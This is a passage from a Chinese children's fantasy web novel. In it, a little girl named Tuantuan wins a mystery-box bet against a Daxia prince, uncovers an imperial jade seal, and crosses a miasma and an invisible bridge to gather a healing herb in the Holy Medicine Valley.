“二百两买了是血赚,三千两可就成了血赔了啊!”
“这孩子非要加价,真是人傻钱多啊!”
男孩在众人的哄笑和讥讽声中脸腾的一下就红了,他死死盯着团团,从牙缝里挤出了一句:“臭丫头!你算计我!”
团团眨着无辜的大眼睛:“是你自己要加钱的呀,又不是我让你加的。”
轻飘飘的一句话,更是火上浇油。
男孩愤然转身,快步离开,姜信急忙跟了上去。
团团望着男孩的背影,咦,他明明刚刚败了,为何身上的气运反
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而更旺了呢?好奇怪的人啊!
我才不管你身负多少气运呢!
不讲理,就不行!
她得意地摇晃着小脑袋:“大三哥,他赔啦!我厉害吧!”
萧泽笑了,捏了捏她的小脸:“厉害!我们团团最厉害了!”
萧二也在一旁用力点头,欺负我家小姐?做梦!
几人继续往前走,团团看看这儿,看看那儿,忽然眼神一亮,小手一伸,放在了一个绒布面的小匣子上。
还没来得及张口,另一只戴着玉扳指的小手也放了上来。
团团抬眼一看,又是你!
男孩与她四目相对,显然也是一惊,这小丫头怎么跟我的眼光一样?
方才是我大意了,这回你休想!
他板着面孔:“怎么?又是你!”
“看来你今日是要与我争定了?”
团团小眉毛都竖起来了:“明明是我的手先放上去的!”
男孩的目光扫过团团三人,声音刻意扬高:“小丫头,看来你今日是跟我对上了。”
“既然如此,敢不敢跟我赌一把?”
“你我各自在这场上,选出三个秘匣!谁开出的东西总价更高谁就是赢家!”
周围的人见到他们又起争执,纷纷围了过来。
“输的人嘛,”他顿了顿,眼神不屑:“就给对方磕三个响头!”
萧泽脸色一沉,让团团磕头?“放肆!”
团团歪着小脑袋看着男孩,又磕头?为什么坏蛋都喜欢让别人磕头呢?
上次那个给我磕头的坏蛋输了雪参给我,你也得输些什么给我才行。
她摇了摇头:“磕头不好玩,你要跟我赌啊,也行!”
“谁输了,就要把今日买下的所有秘匣里的东西都给对方!”
“怎么样?你敢不敢呢?”
此言一出,围观者一片哗然!
“赢家通吃?!好大的赌注!”
“这小姑娘也太狠了!”
“两个孩子!真是不知轻重!”
团团看着男孩,伸出小手指在自己的脸蛋上刮了一下:“不过,提前说好哦!”
“你要是输了,可不许哭鼻子,也不许耍赖皮哦!”
“唉,刚才你都快急哭了,怪可怜的呢。”
男孩被她气得瞬间气血上涌,脸色铁青。
“哼!牙尖嘴利!”
“可以!一个时辰后,咱们在此地汇合!到时开匣断输赢!”
“有你哭的时候!姜信,我们走!”
二人的赌约转瞬间传遍全场,周遭的气氛顿时热烈起来。
“这个赌注可不小!”
“俩小孩儿还挺有意思。”
“一个时辰后啊!想看的都来啊!”
第133章 刚刚好
一个时辰转瞬即过。
当萧二和萧泽一起领着团团,回到那方桌案前时,四周早已被围得里三层外三层,水泄不通了。
周遭嗡嗡嗡的议论声在见到正主到来时,瞬间拔高。
“来了!来了!他们回来了!”
“这回有热闹看啦!”
人群自发让开一条通道,三人走到案边。
男孩早已抱着手臂,一脸不耐烦地等在案前。
他面前的桌案上,赫然摆放着三个外貌不凡秘匣。
一个暖玉雕成的方匣,一个木质天然的异形秘匣,最后一个则是玄铁铸就、刻满符文的黑铁匣。
单看卖相,这三个秘匣便价值不菲。
他嘴角微微勾起,毫不掩饰自己的得意,目光扫过团团:“磨磨蹭蹭!我还以为你自知不敌,夹着尾巴逃了。”
团团仰起小脑袋:“我才不会跑呢!反正输的又不是我。”
男孩不屑地哼了一声,跟我比运气?你还能不输?
萧二将团团买下的三个秘匣放在了桌上。
第一个,是个表面连漆都没上、木质粗糙的普通木盒。
第二个,是个灰扑扑的石匣,表面坑洼不平,极不规整。
第三个更离谱,竟然是个布满灰尘的陶土罐子,罐口封着黄泥,活像是刚从土里刨出来的腌菜罐子。
四周顿时响起一片嗤笑声。
与男孩那边的秘匣相比,这三个,实在是太过寒酸了!
“噗!这小姑娘是没钱了吗?”
“这什么破烂玩意儿啊,加起来能值一百两吗?”
“跟那边的简直没法比啊!”
“还用看吗?输赢这不都明摆着了吗?”
听着周围人的议论,男孩脸上全是光彩。
仿佛已看到了对方痛哭流涕、双手奉上所有秘匣的场景。
终于把刚才丢的面子都赢回来了!
案边静候良久的一个青衣人轻轻咳了一声,“二位已经都选好了?”
团团和男孩都点了点头。
“好,这位小公子先选完的,便依顺序,从这位小公子开始吧。”
他看了看账册:“小公子这三只秘匣,总价两万三千两!”
围观众人都倒吸了一口凉气。
“两万三千两!大手笔啊!”
“看来这位小公子的家世不俗啊!”
“莫非是哪个大门派的小公子?否则,谁家能把这么多银子交给一个小孩子玩啊!”
“这三个秘匣得开出什么宝物才能回本哦!”
男孩听得一脸得意,不屑地看了一眼众人,你们懂什么!
青衣人的手先伸向了那只异形秘匣,指尖轻按,只听“咔哒”一声轻响,匣盖缓缓开启。
刹那间,一道柔和的绿光溢出,伴随着一股令人精神一振的清新药香。
匣内,一个酷似婴儿模样的东西静静躺在锦缎之上。
“这是已经成形何首乌!看这品相,至少也得有五百年!”人群中不乏识货的,立刻惊呼出声。
“五百年的灵药!这可是有价无市的好东西!”
“这秘匣赚了!”
男孩嘴角的弧度越发张扬,挑衅地瞥了团团一眼。
第二个,玄铁秘匣。
开启的瞬间,一股锋锐之气扑面而来。
匣内一柄三寸余长的古朴小剑,剑身暗沉,隐隐有符文流转其上。
“居然是剑胚!”这下连见多识广的青衣人都微微颔首,“确实是件宝器!”
“若能寻得炼器大师悉心锻造,必成杀伐利器。”
场中惊呼再起。
“赚了!大赚啊!”
灵药加上剑胚,仅这两件,价值已然远远高出了三只秘匣的总价。
当第三个暖玉方匣被缓缓打开,所有人都惊得目瞪口呆。
只见一片温润的白光从匣中溢出,一颗龙眼大小、浑圆无瑕的宝珠静静躺在其中。
“定神珠!佩在身上,可宁心静气,抵御心魔侵袭!对练武之人乃是至宝!”在场的都是江湖人,立刻有人尖叫了出来。
“什么?定神珠?“
“这位小公子,我愿高价买下这定神珠!”
三匣开毕,满场皆惊。
一株五百年灵药,一件宝剑胚子,一颗定神宝珠。
男孩所开之物,件件皆是珍品,其总价已经高得难以估量。
“这还怎么比?这小姑娘铁定输了啊!”
“光是那颗定神珠,就价值连城了!”
“这位小公子的眼光和福运竟如此惊人!”
男孩负手而立,下巴抬得高高的,享受着周围的惊叹和赞美。
他看了看自己得三个秘匣,又看了看团团:“小丫头,你那三个破烂匣子,还有胆子开吗?”
萧泽脸色沉重,萧二攥紧了拳头,哼,若是小姐输了,我背上她抱起秘匣
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就跑!断不能让小姐受这臭小子得奚落!
团团则低头看着男孩的秘匣,不错,不错!
何首乌给祖祖补身子,剑胚给二哥哥练出一把宝剑,定神珠给三哥哥助他练武!
刚刚好!
她搓着小手,迫不及待:“来吧!快把我的开了啊!”
青衣人看了眼账册上她买下的秘匣:“这位小姑娘买下的三只秘匣,总价三千两!”
男孩闻言大笑:“哈哈哈,这么便宜的秘匣,你还想开出什么稀世珍宝吗?没钱你直说嘛,还不如直接认输呢!”
团团瞪了他一眼:“叔叔,开吧。”
青衣人看了她一眼,伸手打开了那个粗糙的木匣。
没有光华,没有异香。
只有匣底,静静地躺着一块巴掌大小、通体漆黑的铁片。
毫不起眼不说,边缘还有几处不规则断口,仿佛是从某件大的器物上碎裂下来的。
“一块破铁片?”
“这!这玩意儿扔在路上都没人捡吧?”
却见青衣人脸色骤变!
他小心翼翼地伸出一只手,欲将那铁片拿起,竟没能拿的起来!
众人顿时惊得闭上了嘴。
片刻后,私语声四起:“这么小的一片东西,这么沉吗?”
“怎么会?”
“这是什么东西啊?从没见过!”
青衣人翻过铁片,映着火光,微微晃动,一道冷冷的青色光环顿时在铁片上不停流转开来,原本平平无奇的铁片,刹那间寒光四射。
“此乃玄铁。”青衣人明显有些激动,“若将此物炼制成刀刃,必将无坚不摧!此物价值连城,与那剑胚不相上下!”
“什么?!”
“玄铁!那是只存在于传说中的宝物啊!”
所有人都微微长大了嘴。
男孩的脸色难看了几分:“不过凑巧而已!有什么可惊讶的!赶紧开下一个!”
青衣人迅速打开了第二个石匣。
依旧没有任何惊人之处。
石匣中央,只有一个暗淡无光,看着像颗路边的大颗沙砾一般的东西。
“一块沙子?”
“这总不会是宝物了吧?”
却见青衣人的手伸出得更慢了,缓缓将其拿起,放在鼻尖轻嗅,随即,他像是被烫到了一般,猛地将手收回,沙砾顿时落回了匣中。
他迅速盖上了石匣:“心魔石!”
第134章 原来是这么个东西
“什么玩意儿?”
围观的众人纷纷向前挤过来:“什么石?”
青衣人稳了稳心神:“此物与刚才那枚定神珠效力正好相反。”
“此石可控制人的心神,勾起人的心魔,乃练武之人磨炼自身定力的至宝!”
惊呼声此起彼伏,众人看向那石匣的眼神,瞬间变得无比炽热!
团团开心地拉了下萧泽的手,又拽了拽萧二的衣袖,怎么样,我挑的不错吧?
二人低头看着她,面露微笑,眼神温柔。
男孩的眉头紧紧皱了起来,不可能!这绝对不可能!我都没看出来的秘匣,她怎么可能看得出来?
有人突然反应了过来。
“天哪!你们没发现吗?剑胚配玄铁,定神珠配心魔石!”
“这小姑娘,莫不是,算准了这位小公子能开出什么吗?”
“还真是!你不说我都没琢磨过来!”
众人看向团团的目光,不由得都带上了几分惊骇。
男孩闻言也明白了过来,看向团团的目光终于不再轻蔑。
我挑选秘匣时她明明不在旁边啊。
不对,就算她在旁边,也不可能知道秘匣中装的是什么。
那她挑的东西,怎么可能跟我的如此严丝合缝?
这个小丫头究竟是什么人?
青衣人的手伸向了最后那个布满灰尘的陶土罐。
这次全场鸦雀无声,落针可闻。
没有人再有一丝一毫的轻慢之心,只想亲眼看到,这次还能开出什么宝物。
青衣人的神情明显也越发郑重,他轻轻拂去罐口的浮尘,手掌轻轻一拍,小心翼翼地将那黄泥封口震开了。
“咔嚓。”
泥封碎裂。
依旧没有想象中霞光万道的景象。
他将罐身倾斜,轻轻倒扣在手心。
一个泥团子滚了出来。
众人竟都松了口气,终于,这次不是什么震惊四座的宝物了。
“这这!一块泥!总不会再是什么宝物了吧?“
“黄泥都算宝物,那你我还不如回家去种地得了!”
男孩紧张的目光再次变成了得意:“怎么样?小丫头?就算你费尽心机又如何?你的东西马上就都是我的啦!”
青衣人仔细地看着手中这团黄泥,但无论他怎么端详,如何嗅闻,都没发现任何异样,不禁一脸疑惑。
秘匣中绝不可能是没有来头的东西!
阁主怎会将一团黄泥拿来猜秘匣?
咱们这天机阁是打算关门了不成?
团团走上前,小手一伸:“叔叔,给我吧。”
青衣人闻言将手中泥团放在了她的手里。
团团举起泥团,用力往桌上摔去。
泥团纹丝没动。
周围哄笑声四起:“小姑娘,别白费力气了。”
“就是,这泥都不知道在这破罐子里多少年了。”
“都快成石头了!”
团团捡起泥团,再一次摔到桌上,这一次依旧是连条裂缝都没摔出来。
男孩哈哈大笑:“小丫头,老老实实认输吧!别做梦了!”
团团甩了甩自己的小手,好累哦!看着萧二:“二叔叔,我气力小,你来!”
“是!”萧二伸出大手,拿起泥团,用力砸向桌面。
“铛”的一声,泥团碎开了。
青衣人将泥土拨开,拿出了一个灰扑扑,沾满了泥的东西。
他取出锦帕,将那东西上的泥土全部擦掉。
一个方方正正,上纽交五龙,刻有八个古朴篆字的玉印,赫然出现在所有人眼前!
玉质温润,却透着一股煌煌帝威!
青衣人捡起玉印,翻转过来,手突然剧烈一颤,声音都变了调:“受命于天,既寿永昌!”
萧泽脸色都变了,玉玺?!难道当真是父皇的玉玺?什么时候丢的?竟沦落至此?
团团看着那玉印,原来是这么个东西!我说怎么这个陶罐子看起来这么奇怪。
整个会场瞬间彻底沸腾了!
“玉玺?真的是玉玺?”
“什么?玉玺?”
“我的老天爷!泥块里开出了玉玺?”
“难道皇帝的玉玺丢了?”
“不可能吧,这陶罐一看就封存了好多年了,陛下的玉玺怎么可能一直都不在皇宫里!”
只有男孩的脸色“唰”的一下变得惨白如纸!
他猛地往前冲了一步,伸手一把就想将青衣人手中的玉玺夺过来。
青衣人向旁边一闪身:“小公子,你想做什么?”
男孩再次疯狂地冲了上去,劈手便夺,脱口而出:“赶紧给我!这是我大夏的……”
他猛地意识到了自己的失言,停了下来,捂住了嘴。
团团恍然大悟,难怪他身上的气运乱七八糟。
难怪他明明输了却气运不减!
原来他就是大夏那个到处偷东西的神童!
“原来是你啊!‘偷神’!”
神童被她说得一愣,我是什么?偷神?
反应过来以后,他勃然大怒:“你胡说八道什么!我才不是偷神!”
团团没搭
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理他,抬起头问萧泽:“大三哥,这个东西,很值钱吗?”
萧泽看了一眼神童:“值钱!非常值钱!”
“这个东西啊,是皇帝的凭证,哪个皇帝没有了它,就像当官的没有官印,急都能急死他。”
神童对他怒目而视:“你!”
萧泽笑了笑:“怎么了?这位大夏人,我哪句说得不对吗?”
姜信上前一步,走到神童身旁,在他耳边小声低语:“您的身份已露,此地不宜久留,脱身要紧。”
神童看了看周围,自己此行本没想暴露身份,因此只带了姜信一人,四周全是烈国人,看来,想将玉玺抢过来是不可能的。
他看向团团:“你开个价吧,这个玉玺,我买了!”
团团皱着眉头看他:“你想买?”
神童郑重点头:“你尽管开价,我付得起!”
团团哼了一声:“你付得起很了不起吗?我不想卖!”
神童快被她气**:“你!”
团团扭头对着萧泽:“大三哥,咱们把它拿回去玩吧!我还没玩过玉玺呢!”
萧泽微笑配合:“好哇!”
神童指着二人,手都气得直打颤:“你们!给我等着!”
“姜信!我们走!”
“是!”姜信伸手便去拿桌上的秘匣。
青衣人按住了他的手:“这位小公子,今日的赌约,是你输了,你的秘匣和所开出的东西全都归这位小姐所有,不能拿走。”
神童方才一看到玉玺,早已将赌约忘到了脑后,此时才想了起来。
眼看着重金买下的三个秘匣要拱手送给他人,心心念念的玉玺找到了却拿不到手,自己堂堂神明转世的神童,却几次三番栽在一个小丫头的手里。
他越想越气,眼前一黑,身子晃了一下,吐出了一口鲜血。
姜信急忙上前将他扶住:“殿下!”
他声音不大,但近前的几人都听见了。
萧泽皱了皱眉头:“殿下?莫非他竟是大夏的皇子?”
旁观众人却没有听见,都纷纷劝解:“胜败乃兵家常事啊,小公子,不至于如此。”
“这猜秘匣盛会三年一次,下次再来嘛!”
“就是啊!这次运气不好,下次没准儿就好啦!”
神童捂着胸口,已然是气得说不出一句整话:“我?我运气不好?谁的运气敢,敢跟我比?”
“你们说的这是什么混账话!”
团团歪着小脑头看着他:“你偷的东西太多啦!气运再好也没用!”
第135章 自己去找
神童闻言一惊,立时想起了临出门时国师的叮嘱:“此次远行,只为平衡你身上的运势,切勿惹起事端。”
他紧盯着团团,自己身上的运势如何,这个小丫头如何能知?
玉玺还在她的手里!
姜信扶着他,俯身在他耳边低语:“殿下,还是先离开此地吧,玉玺既已现身,日后想办法夺回来就是。”
神童擦了擦唇角的血迹,此时此地,确实讨不到半分便宜,咬着牙吩咐:“咱们走!”带着姜信转身离去。
团团看着他的背影,哼!看你再敢偷别人的东西!偷来的,是要还的哦!
不远处,一个青衣人正在向身旁的年轻男子低声禀告。
那男子二十岁上下,容貌俊美,手中持着一支通体莹白、毫无杂色的玉笛信手转动,不时在空中划出优雅的弧线。
他听完后微微一笑:“今年咱们这猜秘匣盛会好生热闹啊!居然来了两位皇子。”
萧二将所有“战利品”一一打包收好,和萧泽一起,领着心满意足的团团回到了客栈。
次日一早,晨光熹微,团团伸着懒腰,迷迷糊糊地走出客房,来到客栈大堂。
“好徒儿!为师回来啦!”
墨长庚正吃着早饭等着她们。
团团揉了揉眼睛:“神医爷爷!你刚到啊!好慢哦!”
墨长庚胡乱往嘴里塞着包子,显然是饿坏了:“那还不是为了我的好徒儿这趟能顺顺利利嘛!”
“为师啊……”见他的嘴里空了,团团抓起桌上一个包子塞进他的口中,“知道啦!神医爷爷,咱们快点儿吃吧,今天还要去圣医谷呢!”
墨长庚受用地咬住了包子,不停点头,谄媚地拉开身旁的凳子,扶着团团稳稳地坐在了上面。
他好像此时才看到萧泽和萧二:“你们也在啊!”
萧泽无奈点头,萧二翻了个白眼。
墨长庚看了一眼萧泽:“咱们是去求药,不宜人多,你那两个侍卫便留在这里吧。”
萧泽点了点头:“有理。”
用罢早饭,众人即刻起程,马不停蹄地来到了圣医谷。
圣医谷地处一片云雾缭绕的群山翠岭之间,气势幽深。
一行人刚至谷口,便被两名神色傲慢的的白衣男子拦住了。
为首的青年语气冷硬:“谷主有令,近日闭谷,不见外客,诸位请回吧。”
萧二眉头一拧,正要上前理论,却见谷口处走出了几个人。
最前面的男子,约莫三十岁上下,白袍素净,面无表情,正是圣医谷的本代谷主薛晋。
那两名白衣男子看见他马上上前行礼:“谷主!”
谷主出来了?团团高兴地仰起小脑袋看了过去。
却见薛晋身子一侧,恭敬地让出了身后之人。
团团顿时愣住了。
偷神?他怎么也在这里?
萧二的眉头都快拧到一起了,萧泽第一个想到地是昨晚的玉玺,这位大夏皇子,莫非是跟着来的?
昨晚相遇时旁边都是烛火,如今阳光下再看:
神童身着一身华贵的紫袍,五官精致,眉间一点红痣隐隐闪着亮光,趁得他的脸色玉一样的又白又润,还当真有几分神明转世的模样。
他一眼便看见了团团,新仇旧恨瞬间涌上心头:“又是你们!怎么?见了本殿下,还不速速行礼?”
萧二冷哼一声:“跟你行礼?你算老几?”
姜信厉声喝道:“放肆!这是我们大夏皇子公孙止,国师正名,乃是举世皆知,神明转世的神童!”
“让你们行礼是给你们脸面,让你们积福!”
团团被他气笑了:“一个到处偷东西的神吗?他的福气早就没啦!”
萧泽则正色道:“大夏皇子又如何?此地是烈国!不是他大夏!”
团团仰起头看向薛晋:“咦?不是说,谷主不见客嘛?那这个偷神怎么从里面出来啦?”
“我才不是偷神!”公孙止怒吼了一声,随即唇角勾起,既得意又轻蔑:“本殿下是圣医谷的贵客,岂是你们能相提并论的?”
萧泽不欲与他纠缠,上前一步,拱手行礼:“谷主,我等冒昧前来,并非强求入谷。只为救人性命,求取九清灵叶。”
“若谷中不便,便请谷主拿出灵草。”
“价值多少,听凭谷主,我等必定照付。拿到灵草,即刻便走。”
薛晋尚未开口,公孙止已冷笑一声,抢先道:“不许给!”
他的目光扫过团团,带着毫不掩饰的恶意:“薛谷主,本殿下不喜他们。灵草呢,不许给,这圣医谷,也不许他们进!”
薛晋身体微微一僵,对着公孙止躬身一礼,语气恭顺:“是,谨遵殿下之意。”<
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br>萧泽皱起眉头,团团歪着头看向公孙止:“这圣医谷,是你家开的吗?”
公孙止慢条斯理地抚了抚衣袖,脸上的得意更甚:“圣医谷自然不是本殿下开的。但薛谷主,只会听我的。”
团团刚想问为什么,身旁一直没作声的墨长庚扶了下她的小肩膀,对着她微微摇了摇头,随即,慢悠悠地从怀里摸出一物。
那是一块巴掌大的玄色木牌,木质古朴,上面以某种白色灵草为纹,环绕成一个“令”字。
“咳咳,”墨长庚清了清嗓子,“江湖规矩,圣医令出,圣医谷谷主,便需遵从持令者一个要求。”
“薛谷主,你不会不认这圣医谷的规矩吧?”
薛晋看到他手中的令牌,面露惊诧,失声惊呼:“圣医令?怎会在你手中?!”
公孙止看了一眼薛晋,眼珠一转:“什么圣医令!谁知道是不是你们伪造的!”
墨长庚将令牌递给薛晋,嘿嘿一笑:“是不是伪造,薛晋身为谷主,一验便知。”
薛晋伸手接了过来,翻来覆去仔细查验。
墨长庚一脸得意:“老夫的要求也不过分,不过就是求一株那灵草。薛谷主,你是给,还是不给?”
薛晋的脸色变了,额头沁出细汗:“此令不假。”
他转向公孙止:“殿下,这是圣医谷的规矩,他们既手持圣医令而来,我便必须遵从。”
“你!”公孙止气结,狠狠瞪了团团一眼。
团团冲着他一抬小下巴:“哼!”拉起墨长庚的手,”你好厉害哦!”
墨长庚得意地摸了摸她的小脑袋:“为师当然厉害!你以为为师这些日子在忙什么?看!用上了吧!”
“怎么样?为师如此神通广大,乖徒儿,赶紧拜师吧!”
团团冲他翻了个白眼:“不嘛!”
墨长庚瘪了瘪嘴。
薛晋沉吟片刻:“我可以答应你们,但你们必须自己去寻。”
“九清灵叶长于谷底,那里毒瘴弥漫,路径诡谲,凶险万分。能否寻得到,就看你们的本事了。”
公孙止闻言大喜:“小丫头,听见了没?谷主答应了,但你得自己去找啊!”
说完,他挑衅地瞄了一眼团团一行人,眼角的余光却扫向了姜信。
姜信心领神会,趁着众人没注意,悄悄后退,转身而去。
第136章 这如何能过得去
团团皱着小眉头,毒瘴?那是什么?
公孙止看了一眼薛晋:“本殿下渴了。”
薛晋一怔,刚刚不是要离开吗。
公孙止瞥了他一眼,薛晋头一低:“请殿下移步谷内用茶。”
说完,他亲自在前面引路,将公孙止恭恭敬敬地请入了谷内。
墨长庚望着他们的背影,一脸困惑:“奇哉怪也!这圣医谷难道卖给大夏了?薛晋为何对这位大夏皇子如此言听计从?”
萧泽和萧二互相看了一眼,同样百思不得其解。
团团跑到他们中间,一手拽一个,往谷里拉:“走啦!咱们去找那个叶子啦!汪叔叔还等着咱们呢!”
她扭头看向刚才拦路的白衣青年:“喂,看门的哥哥!谷底在哪里啊?”
青年面无表情,抬手向谷内的一个方向一指:“往那边,一直走。”说罢,便与同伴转身离开了。
萧二看着他们的背影,冷哼一声:“圣医谷的弟子还真是盛气凌人啊!”
没有人注意到,后方高处的山壁上,一道冰冷的视线,牢牢地盯住了那个小小的身影。
一行人朝着谷底走去,周遭的景色渐渐鲜活起来。
到处都弥漫着泥土的气息与花草的清香,路旁绿茸茸的青苔像毯子一样铺开,点缀着不知名的白色小蘑菇,憨态可掬。
泉水汇成涓涓细流,叮咚作响,沿着水边,无数草木在阳光下蓬勃生长。
红的,粉的,紫的黄的,蓝的……当真是五颜六色,美不胜收。
团团像是掉进了米缸的小老鼠,彻底撒了欢,眼睛都忙不过来了。
她一会儿蹦到左边,“哇!这个好看!”采下一朵鹅黄色的小花,放在鼻尖嗅了嗅,满意地握在手里。
一会儿又跳到右边,“咦?这个好香呀!”又摘下一把蓝色的小花,继续握在手里。
她采的多了,时不时扬起手,冲着后面的几个大人挥舞:“看!我有这么多呢!”
萧泽和墨长庚面带微笑望着她,萧二则是寸步不离的跟在她的身后。
越往深处走,光线越是晦暗。
四周静得出奇,连虫鸣鸟叫的声音都渐渐没有了,空气中开始弥漫起一股甜腻的令人头晕脑涨的气味。
“小姐!停下!”萧二一把拉住团团。
众人停下向前望去,只见不远处,五彩斑斓的雾气如同活物般缓缓翻涌,将前路彻底阻断。
萧二道:“好浓的气味!想必这便是薛晋所说的毒瘴了。”
墨长庚神色凝重,从怀中取出一个瓷瓶:“这是避瘴丹,含在口中,可支撑一个时辰左右,咱们必须快进快出,速战速决。”
说完,倒出一颗,自己先含住了,把药瓶递给了萧二,示意萧二和团团两人也依样照做。
团团小狗似的翕动着小鼻子:“哪有什么气味啊!前面那个雾就是毒瘴吗?挺好看的啊!”说完,便往前迈了几步。
“小姐!”萧二正在含药,一个没小心,团团已经走进了雾里。
“团团!”萧泽和墨长庚都冲了过去。
突然,两人的脚步全戛然而止。
三人都瞪大了眼睛,不可思议地望着眼前:浓稠的五彩毒瘴遇到团团,如同遇到了克星一般,全部自行绕开,围在她身边不停游走涌动。
萧泽皱了皱眉:“难道,这毒瘴只是个为了不让人擅闯的障眼法?实际并不伤人?”
他看了看墨长庚和萧二,萧二摇了摇头,两手一摊,不知道。
墨长庚指了指毒瘴,又指了指自己的嘴,意思很明白,我们都含着药呢,你去试试。
团团回过头来,一脸奇怪:“你们都不进来吗?”
萧泽哼了一声,这老头儿!
提起内息,屏住呼吸,迈步走进了毒瘴之中。
刚一进去,便感觉有什么东西冲着口鼻似要钻进来一般,忍不住抬手想捂,没想到手才放在脸上,便奇痒无比,“阿嚏阿嚏”的开始打喷嚏。
这一打喷嚏,口鼻大开,毒瘴迅速涌入,堵住了呼吸,萧泽转身想离开,却手脚无力,顿时坐倒在地。
“大三哥!”团团冲到他的身边,那些毒瘴顿时潮水一般滚滚而退
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,围在二人身旁,不敢靠近,萧泽渐渐缓了过来。
墨长庚和萧二迅速赶到,他们走过来时也是同样的毒瘴缠身,但因为二人含着避瘴丹,那些毒瘴虽然紧紧纠缠,却无法从口鼻等处涌入。
四人汇合,惊讶地发现,毒瘴躲开了几人,像方才围绕着团团一样围绕在四人身旁。
团团也很奇怪:“咦,这些好看的雾,为什么躲着我呢?”
她看了看手中一直握着的花草,伸开手臂,用花束捅向毒瘴,毒瘴再一次迅速散开。
“啊!我知道啦!是这些花!它们怕的是花!”
墨长庚闻言拍了拍团团的小肩膀,伸手将花束拿了过来,一株一株仔细查看,又猛地回头向来时的路上张望了片刻,突然眼神一亮,吐出了口中的避瘴丹:“原来如此!”
“这种蓝色的花便是这毒瘴的克星!难怪典籍有言,三步之内,必有解药,当真不假。”
他摸了摸团团的小脑袋:“徒儿啊!你怎么每次运气都这么好呢!估计薛晋那小子都未必知道呢。”
团团开心地笑了。
墨长庚摘下两朵蓝色的小花,细心地插在了团团的头发上:“真好看!”
然后,将剩余的全分了:“都别在自己胸前的衣襟上。”
“行了!这回咱们不用担心时辰了,只要花还在,这毒瘴便伤不了咱们!走吧!”
一行人闲庭信步地穿过了毒瘴,眼前豁然开朗。
萧泽眉头紧皱:“这如何能过得去?”
竟然是一条巨大的地下裂谷,横亘在前,阻断了前面的路。
对面都是悬崖峭壁,隐约可见一个洞口,而脚下,是看不见底的黑色深渊,冷风自下而上,吹得人衣袂翻飞。
萧泽看着面前的天堑:“没路了?”
萧二目测着距离,摇了摇头,“这距离,轻功根本过不去。”
墨长庚则打量着光滑如镜的悬崖两侧,伸手摸了摸,摇头叹息:“不行,崖壁湿滑,无法攀爬。难怪薛晋那小子肯答应咱们进来,他是料定了咱们不可能拿得到啊。”
第137章 留在这里能干嘛
萧泽盯着对面的石洞:“想必那里,便是九清灵叶的所在了。”
“洞口有字!”他突然大喊了一声,用力看着,念了出来,“信者……前行,舍……则得之。”
几人围了过来,都努力向对面看去。
团团拉了拉他的袖子:“大三哥,那是什么意思啊?”
萧泽蹲下身,看着她,想了想:“信者前行,就是,若是你相信前面的路是对的,那便走下去。”
“舍则得之则是,要舍弃一些东西,才能得到想要的。”
团团一脸疑惑:“听不懂捏!”
萧泽笑了笑,捏了捏她的小脸蛋:“没关系,这些个大道理,团团不必懂。”
他起身站起,望着那两行字,苦苦思索。
深渊之侧,萧二提心吊胆,紧紧拉着团团的手,生怕她有闪失。
团团一手被他牵着,蹲在地上,另一只手无聊地捡起地上石子,不停地扔进去,等着好半晌后那轻轻的落地之声“咚!”
墨长庚四处走动,想看看是否还有其他道路可以绕行。
团团玩着玩着,突然发现,自己扔出去的一个石子,竟然在空中弹了一下,像是砸到了什么,改变了方向落入了崖地。
咦?奇怪!
她又朝刚才的方向扔了一颗石子,也是同样!这次好像还听到了一声闷闷的声音!
怎么回事?什么东西挡住了我的石子?为什么我看不见?
她甩开萧二的手冲向悬崖边,没有丝毫犹豫,抬脚就朝着崖底踩去!
“小姐!”萧二目眦欲裂,跨步上前提着团团的衣领将她拎了起来。
“团团!”
“徒儿!”
萧泽和墨长庚也被她吓得魂飞魄散地冲了过去。
萧二收回手臂,将她紧紧地抱在怀里:“小姐!你干什么啊!王爷和王妃还在家等你回去呢!”
团团两条小胳膊被他紧紧箍住,只能用小脑袋顶了顶他:“二叔叔,我没有要跳下去啦!你放我下来嘛,我带你去看!”
萧二将信将疑地将她放在了地上,紧紧拉着她的小手,再也不敢松开。
萧泽和墨长庚也急忙跟了过来。
团团蹲在刚才自己扔石子的位置,往石头弹起来的方向扔石子,头两颗径直落入了崖底,第三颗又在空中弹了一下才落了下去。
“咦?!”几个人突然明白了过来。
必定是有什么东西挡住了石子,但是,是什么呢?看不见啊?
萧泽想了想,解开腰间的香囊,倒出了一把炼制过的雄黄颗粒,深红色的颗粒分外显眼,那是他特意带上防蛇用的。
他走到崖边,将雄黄往前成扇形撒了出去。
深红色的颗粒一部分落入了崖底,一部分却停在了半空!
仔细看去,那些颗粒并非悬浮在空中,而是落在了一段刚才没有丝毫踪影的一座桥的表面!
“哇!这里真的有路诶!”团团睁大了眼睛,“所以我才踩下去的嘛!”
“都别动!我过去看看你们再跟上来!”萧泽大喊一声,小心翼翼地踏上了这座神奇的桥梁。
他一步一步万分谨慎,每跨出一步都提前在前方洒下几颗雄黄,那桥便如同长长了一般,多露出了一截。
直到萧泽一脚踏入了对面的石洞,回身一望,这才看明白。
原来,这竟是一条完全用透明的琉璃做成的桥梁!与周遭的景色完全融为一体,因此肉眼根本无法看见。
“大三哥过去啦!”团团在对面欢呼着。
萧泽把身上所有的雄黄颗粒都用力像桥梁上扔去,让那桥的轮廓显现得更加清晰:“过来吧!”
萧二带着团团,墨长庚紧随其后,依次都走了过来。
萧泽念着洞口的字迹:“信者前行,舍则得之。原来如此!”
众人走进山洞一看,哇!这才是名副其实的洞天福地吧!
阳光从山洞顶端洒下,落在洞中央的圆形湖面上,水光荡漾,波光粼粼,湖边长满了各种奇花异草,清香扑鼻。
“真好看啊!”团团感叹着,蹦蹦跳跳地四处张望,“太好看了!”
墨长庚则在花草中快速地寻找着,终于他眼神一亮:“找到啦!”
正在湖边玩的团团一听便跑了过去:“在哪儿?”
墨长庚伸手一比画:“这里,那里,喏,全是!”
“哇!这么多!”团团高兴地蹦了起来:”够汪叔叔吃啦!”
墨长庚环顾四周:“何止!给他拿来天天泡水沐浴都够啦!”
“想必因为此地长年无人打扰,所以这
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些灵草才能如此茂盛,真是太难得了!”
团团弯腰拔了一株出来,举给墨长庚:“是这个吗?”
墨长庚仔细看了看,一株九片,叶片如玉,与医书典籍上所载一般无二:“没错!就是这个!”
团团欢呼了一声:“二叔叔!把这一片拔光它!”
墨长庚只觉得脑袋一晕:“都拔光?你这是打算要薛晋的命吗?”
团团看着他:“那就……给他留几个!神医爷爷,这个什么叶的灵草,是拿来治病的吧。”
墨长庚点点头:“正是。”
团团又问:“既然,是能治病救命的东西,当然应该都带走啦!留在这里能救谁啊!”
墨长庚:“……”好有道理!
